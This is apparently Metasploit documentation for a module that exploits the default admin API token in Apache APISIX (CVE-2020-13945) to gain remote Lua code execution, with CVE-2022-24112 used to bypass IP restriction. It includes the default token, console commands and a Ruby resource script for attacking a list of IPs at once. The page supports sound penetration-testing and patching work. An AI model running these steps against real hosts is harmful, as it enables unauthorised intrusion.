List of CVEs: CVE-2020-13945, CVE-2022-24112
Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x version. This module also leverages another vulnerability to bypass the IP restriction plugin.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using apache_apisix_api_default_token_rce against a single host
Normally, you can use exploit/multi/http/apache_apisix_api_default_token_rce this way:
msf > use exploit/multi/http/apache_apisix_api_default_token_rce
msf exploit(apache_apisix_api_default_token_rce) > show targets
... a list of targets ...
msf exploit(apache_apisix_api_default_token_rce) > set TARGET target-id
msf exploit(apache_apisix_api_default_token_rce) > show options
... show and set options ...
msf exploit(apache_apisix_api_default_token_rce) > exploit
Using apache_apisix_api_default_token_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your apache_apisix_api_default_token_rce will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/apache_apisix_api_default_token_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)

Knowledge Base
Vulnerable Application
A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution.
The Apache APISIX has a default API token edd1c9f034335f136f87ad84b625c8f1
defined at conf/config.yaml
and in its default configuration
doesn't come with the ip-restriction
plugin enabled. This allows any user to add a new route in its default configuration. By leveraging
the feature script
added in the 2.x version an user can add a route which leads to the remote LUA code execution (CVE-2020-13945). Even if
ip-restriction is enabled, this exploit can leverage the vulnerability CVE-2022-24112 to circumvent that restriction.
This module was tested using a vulnerable docker container as available on the vulnhub project.
If we have the API token we can execute command using the parameter filter_func
or script
, and if there is an IP restriction
enabled by the plugin ip-restriction we can bypass this restriction if the batch-requests plugin is also enabled.
Version and OS
This module has been tested successfully on Apache APISIX 2.2, 2.6, 2.11.0 and 2.12.1
Verification Steps
Confirm that functionality works:
- Start
